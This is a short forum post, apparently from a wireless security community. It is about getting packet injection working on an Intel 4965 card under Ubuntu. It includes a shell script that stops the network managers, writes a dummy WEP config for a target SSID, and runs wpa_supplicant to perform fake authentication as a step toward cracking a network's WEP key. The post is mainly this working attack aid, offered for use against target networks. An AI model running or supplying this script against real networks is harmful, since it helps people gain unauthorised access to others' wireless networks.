The injection on the 4965 works as it does (not surprisingly) on Ubuntu, requiring wpa_supplicant to fakeauth. Netroller has traced this problem to an issue with the firmware. But with the wpa_supplicant workaround, it works sufficiently well to crack wep:

Here is a crappy shell script I use to simplify fakeauth with wpa_supplicant:
Code:
#!/bin/sh
rm fake.conf
killall NetworkManager
killall wpa_supplicant
clear
echo -e ""
echo "Enter the SSID of the Target Network:"
read SEL
echo 'network={ \n ssid="'$SEL'" \n key_mgmt=NONE \n wep_key0=1801b56668 \n }' > fake.conf
echo -E "Starting Fake Authentication with "$SEL
wpa_supplicant -c fake.conf -i wlan0 -Dwext
It will simply ask you for the essid, and then take care of the rest.
EDIT: Make sure you type in the ESSID (that is the "name" of the AP) and NOT the BSSID (the series of 6 HEX numbers)!!!